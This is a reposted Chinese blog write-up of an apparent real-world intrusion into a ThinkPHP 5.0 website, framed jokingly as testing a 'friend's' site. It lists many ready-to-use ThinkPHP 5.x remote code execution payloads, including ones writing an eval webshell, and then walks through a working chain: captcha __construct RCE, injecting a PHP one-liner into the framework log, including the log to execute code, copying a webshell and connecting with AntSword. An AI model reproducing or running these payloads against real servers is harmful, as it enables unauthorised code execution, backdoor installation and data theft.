我是靠谱客的博主 坚强曲奇,最近开发中收集的这篇文章主要介绍渗透测试实战-文件包含和日志文件写入木马混合利用,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

1.起因

我有一个朋友,让我帮忙测试一下他的站,于是有了这篇文章。(无中生友篇)

2.信息收集

访问首页一下先,看到是thinkphp v5.0版本。

 

然后谷歌大法,直接上TP 5.X RCE的EXP,一顿骚操作:

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

?s=index/thinkRequest/input&filter=phpinfo&data=1

 

?s=index/thinkconfig/get&name=database.hostname

 

?s=index/thinkconfig/get&name=database.password

 

?s=index/thinkRequest/input&filter=system&data=id

 

?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

 

?s=index/thinkviewdriverPhp/display&content=<?php%20phpinfo();?>

 

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

 

?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

 

?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>

 

?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell2.php&vars[1][]=<?php eval($_POST[xm])?>i

 

不好意思,一个都没用,只是发出来让你们收藏一下。嘿嘿嘿。。。

 

3.exp混合利用,文件包含和日志写入木马

接下来我们上一个有用的。

/index.php?s=captcha

 

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

 

改为POST方法,加一个参数Content-Type: application/x-www-form-urlencoded

顺利爆出phpinfo,有戏,接着往下看。

 

再检测一波:增加type请求头,然后payload:81aaa=id&_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=POST

 

报错,sysytem函数被拦截。可以换种方法getshell了。

由于目标站似乎对一些命令执行的函数有禁用,再加上这个 tp这个漏洞: 

1.函数执行结果不会直接回显
2.限制了函数执行参数只能为一个 导致⼀开始一直卡壳。
后来想了想,由于前⾯测试从 debug 信息来看,好像没有禁⽌文件操作的函数,再加上 tp 本身就有用到文件读写的操作,所以⽂件读写操作肯定是能用的。
file_get_contents 函数可以执行,但这里不会输出函数执行的结果, file_put_contents 函数⼜要两个参数,include 又不是函数⽽没法在这里调用,所以感觉还是得先从 tp 框架里找现成的危险操作函数来⽤。

 

__include_file 是在漏洞点可以直接调用的函数,⽽且封装了文件包含操作,所以能⽤它去读⽬标服务器上的⽂件了:

 

被限制了读取文件的范围,但是能证明确实有用。由于是⽂件包含的操作,所以我想到了通过在 url 里包含恶意代码,利用请求报错记录到 tp ⾃己的⽇志里,然后包含日志来执行任意代码(当然这里不包括禁用函数)。 

写入一句话shell到日志文件里:

post提交

/?s=captcha


_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[whit]); ?>

 

4.通过一句话 copy 新一句话文件到指定目录

 

5.蚁剑连接,打完收工,点到为止。

 

部分细节省略,比如目录侦测啥的,这个操作细心点就行。还是热乎的实战手法,提交公益src的师傅们可以自行操作一波了。

创建了公众号,感兴趣的小伙伴关注一下。

id:baiyeguimei    白夜鬼魅

最后

以上就是坚强曲奇为你收集整理的渗透测试实战-文件包含和日志文件写入木马混合利用的全部内容,希望文章能够帮你解决渗透测试实战-文件包含和日志文件写入木马混合利用所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(51)

评论列表共有 0 条评论

立即
投稿
返回
顶部